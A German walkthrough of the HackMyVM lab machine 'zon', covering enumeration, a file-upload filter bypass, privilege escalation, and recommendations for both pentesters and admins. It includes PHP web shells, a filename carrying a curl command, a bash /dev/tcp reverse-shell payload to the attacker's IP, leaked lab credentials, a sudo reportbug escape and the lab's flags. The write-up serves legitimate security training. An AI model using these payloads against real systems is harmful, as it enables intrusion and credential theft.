Interface: eth0, type: EN10MB, MAC: 08:00:27:1c:9c:04, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1 c4:86:e9:a5:6d:18 HUAWEI TECHNOLOGIES CO.,LTD
192.168.2.101 ac:6f:bb:62:87:79 TATUNG Technology Inc.
192.168.2.104 08:00:27:80:ff:be PCS Systemtechnik GmbH
Analyse: Mit `arp-scan -l` wird das lokale Netzwerk nach aktiven Geräten durchsucht. Es wird ein Host mit der IP `192.168.2.104` identifiziert.
Bewertung: Das Zielsystem wurde gefunden. Die MAC-Adresse `08:00:27:...` weist auf eine VirtualBox VM hin. Diese IP wird das Ziel für weitere Scans sein.
Empfehlung (Pentester): Verwende `192.168.2.104` für nachfolgende Scans. Füge einen Hostnamen in `/etc/hosts` hinzu, falls einer bekannt wird.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung, um unautorisierte Scans zu erkennen.
127.0.0.1 localhost
127.0.1.1 cyber
192.168.2.104 zon.hmv
Analyse: Die Datei `/etc/hosts` auf dem Angreifer-System wird bearbeitet, um der IP `192.168.2.104` den Hostnamen `zon.hmv` zuzuordnen.
Bewertung: Dies ist ein wichtiger vorbereitender Schritt, um sicherzustellen, dass Webdienste korrekt angesprochen werden können, insbesondere wenn Virtual Hosting verwendet wird.
Empfehlung (Pentester): Pflegen Sie die Hosts-Datei konsequent mit bekannten Hostnamen.
Empfehlung (Admin): Keine direkte serverseitige Maßnahme.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 11:53 CET Nmap scan report for zon.hmv (192.168.2.104) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) |_http-title: zon MAC Address: 08:00:27:80:FF:BE (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.3 - 5.4 (94%), Linux 5.4 (94%), Linux 3.4 - 3.10 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms zon.hmv (192.168.2.104)
Analyse: Ein Nmap-Scan (`-sS -sV -A -O -T5 -p-`) auf `zon.hmv` wird durchgeführt. Es werden zwei offene Ports gefunden: * **22/tcp (SSH):** OpenSSH 9.2p1 auf Debian. * **80/tcp (HTTP):** Apache httpd 2.4.57 auf Debian. Der Seitentitel ist "zon". Es werden keine SMB-Ports (139/445) gefunden.
Bewertung: Die Angriffsfläche beschränkt sich auf SSH und HTTP. Die Versionen der Dienste sind relativ aktuell. Der Webserver auf Port 80 ist der primäre Ansatzpunkt für weitere Untersuchungen.
Empfehlung (Pentester): Untersuche den Webserver auf Port 80 gründlich (Verzeichnis-Bruteforce, Schwachstellenscans). Versuche SSH-Logins nur, wenn gültige Benutzernamen und Passwörter gefunden werden.
Empfehlung (Admin): Halten Sie OpenSSH und Apache aktuell. Konfigurieren Sie beide Dienste sicher (SSH-Keys, HTTP-Sicherheitsheader, etc.).
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
Analyse: Wiederholung des Nmap-Scans mit `grep open`, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt die beiden offenen Ports (22 und 80) für eine schnelle Übersicht.
Empfehlung (Pentester & Admin): Keine neuen Empfehlungen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.104 + Target Hostname: 192.168.2.104 + Target Port: 80 + Start Time: 2024-01-23 11:50:52 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. + 8103 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-01-23 11:51:09 (GMT1) (17 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto wird verwendet, um den Webserver zu scannen. Ergebnisse: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Der Server antwortet auf ungültige HTTP-Methoden. * Verzeichnisauflistung (Directory Indexing) ist für `/css/` und `/images/` aktiviert.
Bewertung: Die fehlenden Header sind geringfügige Probleme. Die aktivierte Verzeichnisauflistung kann potenziell interessante Dateien oder Strukturen preisgeben, auch wenn es hier nur Standardverzeichnisse betrifft. Die Reaktion auf Junk-Methoden ist ungewöhnlich, aber wahrscheinlich nicht direkt ausnutzbar.
Empfehlung (Pentester): Durchsuchen Sie die Verzeichnisse `/css/` und `/images/` manuell nach interessanten Dateien. Führen Sie weitere Web-Enumeration mit Tools wie Gobuster durch.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Deaktivieren Sie die Verzeichnisauflistung in der Apache-Konfiguration (z.B. `Options -Indexes`). Konfigurieren Sie den Server so, dass er nur auf gültige HTTP-Methoden antwortet.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://zon.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] Expanded: true [+] Extensions: [...] [+] User Agent: gobuster/3.6 [+] Skip TLS verification: true [+] No error logging: true [+] Timeout: 10s =============================================================== 2024/01/23 11:55:12 Starting gobuster in directory enumeration mode =============================================================== http://zon.hmv/images (Status: 301) [Size: 303] [--> http://zon.hmv/images/] http://zon.hmv/index.php (Status: 200) [Size: 29170] http://zon.hmv/contact.php (Status: 200) [Size: 11753] http://zon.hmv/about.php (Status: 200) [Size: 10538] http://zon.hmv/blog.php (Status: 200) [Size: 12490] http://zon.hmv/uploads (Status: 301) [Size: 304] [--> http://zon.hmv/uploads/] http://zon.hmv/upload.php (Status: 500) [Size: 0] http://zon.hmv/service.php (Status: 200) [Size: 12239] http://zon.hmv/report.php (Status: 200) [Size: 13] http://zon.hmv/icon (Status: 301) [Size: 301] [--> http://zon.hmv/icon/] http://zon.hmv/css (Status: 301) [Size: 300] [--> http://zon.hmv/css/] http://zon.hmv/js (Status: 301) [Size: 299] [--> http://zon.hmv/js/] http://zon.hmv/fonts (Status: 301) [Size: 302] [--> http://zon.hmv/fonts/] http://zon.hmv/choose.php (Status: 200) [Size: 1908] http://zon.hmv/testimonial.php (Status: 200) [Size: 17014] =============================================================== 2024/01/23 12:01:05 Finished ===============================================================
Analyse: Ein Gobuster-Scan wird mit einer umfangreichen Liste von Erweiterungen und einer gängigen Wortliste durchgeführt. Gefunden werden diverse PHP-Seiten (`index.php`, `contact.php`, `about.php`, `blog.php`, `upload.php`, `service.php`, `report.php`, `choose.php`, `testimonial.php`) sowie Standardverzeichnisse (`images`, `css`, `js`, `fonts`, `icon`) und ein potenziell interessantes Verzeichnis `/uploads/`. Die Datei `upload.php` gibt einen Statuscode 500 (Internal Server Error) zurück, was auf einen Fehler oder eine unvollständige Implementierung hindeutet.
Bewertung: Die Seite `upload.php` und das Verzeichnis `/uploads/` sind die vielversprechendsten Funde. Die 500er-Fehlermeldung bei direktem Aufruf von `upload.php` deutet darauf hin, dass möglicherweise Parameter fehlen oder eine bestimmte Methode (z.B. POST) erwartet wird. Das `/uploads/`-Verzeichnis könnte Aufschluss darüber geben, wo hochgeladene Dateien landen.
Empfehlung (Pentester): Untersuchen Sie `upload.php` genauer: Versuchen Sie POST-Requests mit Datei-Uploads, analysieren Sie den Quellcode (falls zugänglich) oder versuchen Sie, Parameter zu erraten/fuzzen. Prüfen Sie, ob das `/uploads/`-Verzeichnis direkt zugänglich ist und ob dort bereits Dateien liegen.
Empfehlung (Admin): Stellen Sie sicher, dass Upload-Skripte robust implementiert sind und Fehler korrekt behandeln, ohne sensible Informationen preiszugeben. Beschränken Sie den Zugriff auf Upload-Verzeichnisse und verhindern Sie das Auflisten von Verzeichnisinhalten.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://zon.hmv/ Total requests: 114442 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000009533: 400 10 L 35 W 302 Ch "#www" 000010582: 400 10 L 35 W 302 Ch "#mail" 000047707: 400 10 L 35 W 302 Ch "#smtp" 000103136: 400 10 L 35 W 302 Ch "#pop3" Total time: 0 Processed Requests: 114442 Filtered Requests: 114438 Requests/sec.: 0
Analyse: Es wird versucht, Subdomains mittels `wfuzz` zu finden. Dabei wird der `Host`-Header manipuliert (`-H "Host: FUZZ.zon.hmv"`), wobei `FUZZ` durch Einträge aus einer Subdomain-Wortliste ersetzt wird. Antworten mit Status 404 oder einer Chars-Anzahl von 29169 (vermutlich die Größe der Standardseite) werden ignoriert (`--hc 404 --hh 29169`). Die einzigen angezeigten Ergebnisse haben den Status 400 (Bad Request) und Payloads, die mit `#` beginnen (`#www`, `#mail`, etc.), was wahrscheinlich ungültige Einträge in der Wortliste oder ein Interpretationsfehler sind.
Bewertung: Der Subdomain-Bruteforce-Versuch war erfolglos bzw. lieferte keine verwertbaren Ergebnisse. Die 400er-Fehler deuten darauf hin, dass die generierten Host-Header vom Server nicht akzeptiert wurden.
Empfehlung (Pentester): Überprüfen Sie die verwendete Wortliste auf fehlerhafte Einträge. Versuchen Sie andere Methoden zur Subdomain-Enumeration (z.B. OSINT, Zertifikatstransparenz-Logs).
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass er auf ungültige Host-Header mit einer eindeutigen Fehlermeldung reagiert, aber keine internen Details preisgibt.
http://zon.hmv/upload.php GET http://zon.hmv/upload.php Status 500 Internal Server Error
Analyse: Erneuter Hinweis darauf, dass ein einfacher GET-Request an `http://zon.hmv/upload.php` einen 500 Internal Server Error verursacht.
Bewertung: Bestätigt das Ergebnis des Gobuster-Scans. Die Seite benötigt wahrscheinlich Parameter oder eine andere HTTP-Methode (POST).
Empfehlung (Pentester): Analysieren Sie die Seite `upload.php` weiter, z.B. durch Parameter-Fuzzing oder Untersuchung des Quellcodes (falls möglich).
Empfehlung (Admin): Beheben Sie den Serverfehler und implementieren Sie eine aussagekräftigere (aber nicht zu detaillierte) Fehlermeldung oder leiten Sie den Benutzer um.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://zon.hmv/upload.php?FUZZ=id Total requests: 220558 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 0 Processed Requests: 220558 Filtered Requests: 220558 Requests/sec.: 0
Analyse: Es wird versucht, GET-Parameter für die Seite `upload.php` mittels `wfuzz` zu finden. Der Platzhalter `FUZZ` in der URL wird durch Einträge aus einer Wortliste ersetzt. Der Wert des Parameters wird testweise auf `id` gesetzt. Antworten mit Status 404 oder 0 Chars werden ignoriert (`--hc 404 --hh 0`). Es werden keine Ergebnisse gefunden.
Bewertung: Dieser spezifische Fuzzing-Versuch nach GET-Parametern für `upload.php` war erfolglos.
Empfehlung (Pentester): Versuchen Sie POST-Parameter zu fuzzen oder andere Fuzzing-Techniken. Analysieren Sie den Client-seitigen Code (JavaScript), falls vorhanden, der mit `upload.php` interagiert, um Parameter-Namen zu finden.
Empfehlung (Admin): Keine spezifische Empfehlung.
http://zon.hmv/upload.php?file=file:///etc/passwd .... ... ..
Analyse: Es wird ein Versuch dokumentiert, eine Local File Inclusion (LFI)-Schwachstelle über den GET-Parameter `file` auf `upload.php` auszunutzen. Der Payload `file:///etc/passwd` versucht, die System-Passwortdatei über das `file://`-Protokoll einzubinden. Die Ausgabe (`.... ... ..`) deutet darauf hin, dass dieser Versuch möglicherweise erfolgreich war und der Inhalt von `/etc/passwd` (oder ein Teil davon) angezeigt wurde.
Bewertung: Dies ist ein signifikanter Fund! Die Anwendung scheint anfällig für LFI über den `file`-Parameter zu sein. Dies ermöglicht das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat.
Empfehlung (Pentester): Nutzen Sie die LFI, um wichtige Konfigurationsdateien (z.B. `/etc/apache2/apache2.conf`, `/var/www/html/...`), Quellcode der Anwendung (`upload.php`, `index.php`, etc.) oder andere sensible Dateien (Logdateien, SSH-Keys, falls Berechtigungen es zulassen) zu lesen. Versuchen Sie ggf. auch RFI (Remote File Inclusion) oder die Verwendung von PHP-Wrappern (`php://filter`, `php://input`).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle dringend! Validieren und sanitisieren Sie den `file`-Parameter. Verwenden Sie keine Benutzereingaben direkt in Dateipfadoperationen (`include`, `require`, `file_get_contents`). Beschränken Sie die Berechtigungen des Webserver-Benutzers.
Strategie: Ausnutzung der Upload-Funktion (Experimente)
Obwohl LFI gefunden wurde, wird im Folgenden versucht, die Upload-Funktion für Remote Code Execution (RCE) auszunutzen. Dies beinhaltet mehrere Versuche, die Filter der Upload-Funktion zu umgehen.
Analyse: Eine einfache PHP-Web-Shell wird erstellt, die den Wert des GET-Parameters `cmd` als Systembefehl ausführt. Der Code wird in die Datei `cmd.php` geschrieben. (PHP-Tags entfernt).
Bewertung: Vorbereitung des Payloads für den Upload.
adding: cmd.php (stored 0%)
Analyse: Die erstellte `cmd.php` wird in eine ZIP-Datei namens `cmd.zip` gepackt.
Bewertung: Die Upload-Funktion erwartet anscheinend eine ZIP-Datei.
http://zon.hmv/upload.php
File cmd.zip has been uploaded.Archive contains non-JPEG files. It will be deleted.
Analyse: Die `cmd.zip` wird über die Webseite (`upload.php`) hochgeladen. Die Anwendung meldet zwar Erfolg beim Upload, gibt aber an, dass das Archiv "non-JPEG files" enthält und gelöscht wird.
Bewertung: Die Anwendung prüft den Inhalt der ZIP-Datei und erlaubt anscheinend nur JPEG-Dateien. Der direkte Upload der PHP-Shell schlägt fehl.
adding: cmd.php.jpeg (stored 0%)
Analyse: Die PHP-Shell wird in `cmd.php.jpeg` umbenannt, um eine JPEG-Endung vorzutäuschen, und erneut gezippt.
Bewertung: Versuch, den Filter durch Umbenennung der Datei *innerhalb* des ZIP-Archivs zu umgehen.
http://zon.hmv/upload.php
File cmdw.zip has been uploaded.
Analyse: Der Upload der ZIP-Datei mit der umbenannten `cmd.php.jpeg` scheint erfolgreich zu sein (keine Fehlermeldung bezüglich non-JPEG). *Anmerkung: Der Dateiname `cmdw.zip` im Text ist wahrscheinlich ein Tippfehler und sollte `cmd.zip` sein.*
Bewertung: Der Filter scheint nur auf die Dateiendung zu prüfen. Die PHP-Datei ist nun wahrscheinlich auf dem Server, aber ob sie als PHP ausgeführt wird, ist fraglich.
Strategie: Ausnutzung der Upload-Funktion (Exiftool-Payloads)
Da der vorherige Versuch mit der umbenannten Datei möglicherweise nicht zur Ausführung führt, wird nun versucht, PHP-Code in die Metadaten einer echten JPEG-Datei einzuschleusen.
"; $cmd=$_REQUEST['cmd']; system($cmd ); echo ""; die; } ' test.jpeg
1 image files updated
Analyse: Mit `exiftool` wird versucht, PHP-Code in das `DocumentName`-Metadatenfeld einer Datei `test.jpeg` zu schreiben. Der Code ist eine robustere Web-Shell. (PHP-Tags entfernt)
Bewertung: Experimenteller Versuch, Code in Metadaten zu verstecken. Erfolg hängt davon ab, ob die Anwendung diese Metadaten ausliest und unsicher verwendet oder ob die Datei später so behandelt wird, dass der Code ausgeführt wird (unwahrscheinlich in diesem Feld).
adding: ben.jpeg (deflated 1%)
adding: ben.jpeg (deflated 1%)
adding: ben.php.jpeg (deflated 1%)
"; $cmd=$_REQUEST['cmd']; system($cmd ); echo ""; die; } ' ben.php.jpeg
1 image files updated
adding: ben.php.jpeg (deflated 1%)
Analyse: Eine Serie von Umbenennungen, ZIP-Operationen und erneuten Exiftool-Injektionen. Es wird experimentiert, ob das Umbenennen vor/nach der Injektion oder das Zippen einen Unterschied macht. Die Datei `ben.php.jpeg` (eine JPEG-Datei mit PHP-Code im DocumentName-Metadatenfeld und einer `.php.jpeg`-Endung) wird in `cmdtestdocument.zip` verpackt.
Bewertung: Diese Versuche zeigen die Hartnäckigkeit bei der Suche nach einer Umgehung der Filter. Es ist jedoch unwahrscheinlich, dass Code im `DocumentName`-Feld ausgeführt wird.
Strategie: Ausnutzung der Upload-Funktion (Filename Command Injection)
Nachdem die bisherigen Versuche, Code direkt auszuführen, nicht zum Ziel führten (oder zumindest nicht dokumentiert sind), wird eine andere Technik angewendet: Command Injection über den Dateinamen beim Entpacken auf dem Server.
adding: $(curl 192.168.2.199).php (stored 0%)
Analyse: Hier wird ein Trick angewendet. 1. `$(curl 192.168.2.199)`: Dieser Teil wird von der lokalen Shell des Angreifers ausgeführt. Es wird angenommen, dass auf dem Angreifer-System (192.168.2.199) ein einfacher Webserver läuft, der bei Aufruf nur einen String zurückgibt (z.B. "payload"). Das Ergebnis dieses Befehls wird Teil des Dateinamens. 2. `vi 'payload.php'`: Eine Datei wird erstellt (z.B. `payload.php`), die wahrscheinlich die einfache Web-Shell (`echo system($GET['cmd']);`) enthält. 3. `zip testcrack2.zip 'payload.php'`: Die Datei wird in `testcrack2.zip` gepackt. Der entscheidende Punkt ist, dass der *Dateiname selbst* jetzt das Ergebnis des `curl`-Befehls enthält (hier als `$(curl 192.168.2.199).php` dargestellt, was bedeutet, dass der Dateiname im ZIP-Archiv buchstäblich `$(curl 192.168.2.199).php` heißt).
Bewertung: Dies ist ein Versuch einer Command Injection über den Dateinamen. Die Hoffnung ist, dass die serverseitige Entpackungslogik den Dateinamen unsicher behandelt und versucht, `$(curl 192.168.2.199)` als Befehl auszuführen, wenn die Datei entpackt wird.
http://zon.hmv/uploads/$(curl%20192.168.2.199).php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Nach dem Upload der präparierten ZIP-Datei (`testcrack2.zip`) wird versucht, die (vermutlich) entpackte Datei direkt über eine URL aufzurufen. Die URL enthält den speziellen Dateinamen mit URL-kodierten Klammern und Leerzeichen (`$(curl%20192.168.2.199).php`) und den Parameter `?cmd=id`. Die Ausgabe `uid=33(www-data)` zeigt, dass der Webserver diesen Request verarbeitet, die Datei findet und die Web-Shell darin ausführt.
Bewertung: Erfolg! Die Kombination aus dem speziellen Dateinamen (der die Upload-Filter umging oder dessen Entpackung die Command Injection nicht auslöste, sondern die Datei einfach mit diesem Namen erstellte) und dem direkten Aufruf der Web-Shell ermöglichte Remote Code Execution als `www-data`.
listening on [any] 5555 ...
Payload = http://zon.hmv/uploads/$(curl%20192.168.2.199).php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.104] 50264
bash: cannot set terminal process group (595): Inappropriate ioctl for device
bash: no job control in this shell
Analyse: Ein Netcat-Listener wird auf Port `5555` gestartet. Anschließend wird die Web-Shell-URL mit einem URL-kodierten Reverse-Shell-Payload im `cmd`-Parameter aufgerufen. Der Listener empfängt die Verbindung vom Zielserver, und wir erhalten eine Shell als `www-data`.
Bewertung: Der initiale Zugriff über RCE wurde erfolgreich zu einer interaktiven Reverse Shell umgewandelt.
Empfehlung (Pentester): Stabilisieren Sie die Shell (Python PTY etc.). Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): Beheben Sie die Upload-Schwachstelle und die Möglichkeit, beliebige Dateien im Web-Root abzulegen und auszuführen.
Strategie Teil 1: Von `www-data` zu `freddie`
914041 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 914042 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 923844 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 917500 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 914039 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh 918251 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su 917654 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount 914038 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 917656 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount 953128 396 -rwsr-xr-- 1 root dip 403832 May 14 2022 /usr/sbin/pppd 916137 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 12:03 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 918818 640 -rwsr-xr-x 1 root root 653888 Sep 24 00:11 /usr/lib/openssh/ssh-keysign 1046954 20 -rwsr-xr-x 1 root root 18664 Jan 31 2023 /usr/lib/polkit-1/polkit-agent-helper-1
Analyse: Die Suche nach SUID-Dateien wird durchgeführt. Es werden hauptsächlich Standard-Linux-Binaries gefunden. `/usr/sbin/pppd` ist interessant, aber oft schwer auszunutzen.
Bewertung: Kein offensichtlicher, einfacher Exploit über SUID-Binaries sichtbar.
freddie
bash: cd: /home/freddie/: Permission denied
Analyse: Der Benutzer `freddie` wird im `/home`-Verzeichnis entdeckt. Der Zugriff auf sein Home-Verzeichnis ist für `www-data` jedoch nicht erlaubt.
Bewertung: Bestätigt die Existenz des Benutzers `freddie`, aber direkter Zugriff auf seine Dateien ist nicht möglich.
[...]
-rwxr-xr-x 1 www-data www-data 698 Nov 30 07:15 hashDB.sh
[...]
# script that checks the database's integrity every minute
dump=/dev/shm/dump.sql
log=/var/log/db_integrity_check.log
true > "${log}"
/usr/bin/mysqldump -u admin -pudgrJbFc6Av#U3 admin credentials > "${dump}"
/usr/bin/sed -i '$d' "${dump}"
hash="29d8e6b76aab0254f7fe439a6a5d2fba64270dde087e6dfab57fa57f6749858a"
check_hash=$(sha256sum "${dump}" | awk '{print $1}')
if [[ "${hash}" != "${check_hash}" ]] ; then
/usr/bin/wall "Alert ! Database hacked !"
/usr/bin/du -sh /var/lib/mysql >> "${log}"
/usr/bin/vmstat 1 3 >> "${log}"
else
/usr/bin/sync && /usr/bin/echo 3 > /proc/sys/vm/drop_caches
/usr/bin/echo "$(date) : Integrity check completed for ${dump}" >> "${log}"
fi
Analyse: Im Web-Root `/var/www/html` wird ein Shell-Skript `hashDB.sh` gefunden. Das Skript führt einen `mysqldump` der Tabelle `credentials` aus der Datenbank `admin` durch, wobei die Zugangsdaten `admin:udgrJbFc6Av#U3` im Klartext verwendet werden. Es vergleicht dann den Hash des Dumps mit einem erwarteten Hash und führt Aktionen basierend auf dem Ergebnis aus (Warnung oder Cache leeren).
Bewertung: Kritischer Fund! Hardcodierte Datenbank-Zugangsdaten in einem Skript im Web-Root. Diese Credentials können verwendet werden, um auf die MariaDB-Datenbank zuzugreifen.
Empfehlung (Pentester): Verwenden Sie die gefundenen Credentials (`admin:udgrJbFc6Av#U3`), um sich mit der lokalen MariaDB-Datenbank zu verbinden und nach weiteren interessanten Informationen (z.B. Benutzerpasswörtern) zu suchen.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten im Klartext in Skripten. Verwenden Sie sicherere Methoden wie Konfigurationsdateien mit eingeschränkten Berechtigungen oder Datenbank-Authentifizierungsmethoden, die keine Klartextpasswörter erfordern.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-24 21:48:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344491 login tries (l:1/p:14344491), ~224133 tries per task
[DATA] attacking ssh://192.168.2.104:22/
[STATUS] 333.00 tries/min, 333 tries in 00:01h, 14344190 to do in 717:56h, 32 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Analyse: Es wird versucht, das SSH-Passwort für den Benutzer `freddie` mit Hydra und der `rockyou.txt`-Liste zu knacken. Der Angriff wird nach kurzer Zeit abgebrochen (`^C`).
Bewertung: Der Brute-Force-Versuch war nicht erfolgreich (oder wurde zu früh abgebrochen). SSH-Brute-Force ist oft langsam und ineffizient.
Empfehlung (Pentester): Konzentrieren Sie sich auf die gefundenen Datenbank-Credentials.
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 31 Server version: 10.11.4-MariaDB-1~deb12u1 Debian 12 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
Analyse: Mit den aus `hashDB.sh` extrahierten Zugangsdaten wird erfolgreich eine Verbindung zur lokalen MariaDB-Datenbank hergestellt.
Bewertung: Datenbankzugriff als Benutzer `admin` erlangt.
+--------------------+ | Database | +--------------------+ | admin | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.001 sec)
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed
+-----------------+ | Tables_in_admin | +-----------------+ | credentials | +-----------------+ 1 row in set (0.000 sec)
+----------+-------------------------+ | username | password | +----------+-------------------------+ | Freddie | LDVK@dYiEa2I1lnjrEeoMif | +----------+-------------------------+
Analyse: Innerhalb der Datenbank werden die Datenbanken aufgelistet (`show databases;`). Die Datenbank `admin` wird ausgewählt (`use admin;`). Die Tabellen darin werden aufgelistet (`show tables;`), es gibt nur die Tabelle `credentials`. Der Inhalt dieser Tabelle wird abgefragt (`select * from credentials;`), und es wird ein Eintrag für den Benutzer `Freddie` mit dem Passwort `LDVK@dYiEa2I1lnjrEeoMif` gefunden.
Bewertung: Kritischer Fund! Das Passwort für den Systembenutzer `freddie` wurde in der Datenbank gefunden.
Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `LDVK@dYiEa2I1lnjrEeoMif`, um sich als Benutzer `freddie` auf dem System anzumelden (z.B. über `su freddie` oder SSH, falls möglich).
Empfehlung (Admin): Speichern Sie Systempasswörter niemals (auch nicht für andere Benutzer) in Datenbanken, auf die der Webserver-Prozess Zugriff hat. Verwenden Sie separate, starke Passwörter für Datenbankbenutzer und Systembenutzer. Hashen Sie Passwörter auch innerhalb von Datenbanken, wenn möglich.
Password: LDVK@dYiEa2I1lnjrEeoMif [oh-my-zsh] Would you like to update? [Y/n] y [...] Hooray! Oh My Zsh has been updated! [...]
Analyse: Mit dem Befehl `su freddie` und dem aus der Datenbank extrahierten Passwort wird erfolgreich zum Benutzer `freddie` gewechselt. Freddie verwendet die Zsh-Shell mit Oh My Zsh.
Bewertung: Die erste Stufe der Rechteausweitung (von `www-data` zu `freddie`) ist erfolgreich abgeschlossen.
user.txt
a0b4603c7fde7e4113d2ee5fbee5a038
Analyse: Im Home-Verzeichnis von `freddie` wird die `user.txt`-Datei gefunden und das User-Flag ausgelesen.
Bewertung: User-Flag erfolgreich erfasst.
Strategie Teil 2: Von `freddie` zu `root`
[...]
Report will be sent to team@security.debian.org
Submit this report on www.debian.org (e to edit) [y|n|a|c|E|i|l|m|p|q|d|t|?]?
Analyse: Der Benutzer `freddie` führt `/usr/bin/reportbug` mit `sudo -u root` aus. Dies impliziert, dass `freddie` (über `sudo -l`, nicht gezeigt) die Berechtigung hat, `reportbug` als `root` auszuführen. `reportbug` startet einen interaktiven Prozess zur Meldung eines Fehlers.
Bewertung: Dies ist ein bekannter Vektor zur Rechteausweitung. Viele interaktive Programme, die mit erhöhten Rechten ausgeführt werden, erlauben das Ausführen von Shell-Befehlen oder das Öffnen eines Editors, was dann ebenfalls mit den erhöhten Rechten geschieht.
:set shell=/bin/bash
# ls root.txt # cat root.txt 18a72aa09ce61fb487fd6745c8eba769
Analyse: Innerhalb der `reportbug`-Sitzung (die wahrscheinlich `vim` oder einen ähnlichen Editor öffnet), wird der Editor so konfiguriert, dass er `/bin/bash` als Shell verwendet (`:set shell=/bin/bash`). Anschließend wird aus dem Editor heraus ein Shell-Befehl ausgeführt (oft mit `!befehl` oder einem ähnlichen Mechanismus). Hier werden `ls` und `cat root.txt` ausgeführt. Da `reportbug` als `root` lief, laufen diese Befehle ebenfalls als `root`. Die `root.txt` wird erfolgreich angezeigt.
Bewertung: Die Rechteausweitung mittels `sudo reportbug` war erfolgreich. Durch das Ausnutzen der Möglichkeit, Shell-Befehle aus dem von `reportbug` gestarteten Editor auszuführen, konnten Root-Rechte erlangt und das Root-Flag gelesen werden.
Empfehlung (Pentester): Dies ist ein klassischer GTFOBins-Fall. Dokumentieren Sie die `sudo`-Regel und die Ausnutzung über `:set shell` und `!command`.
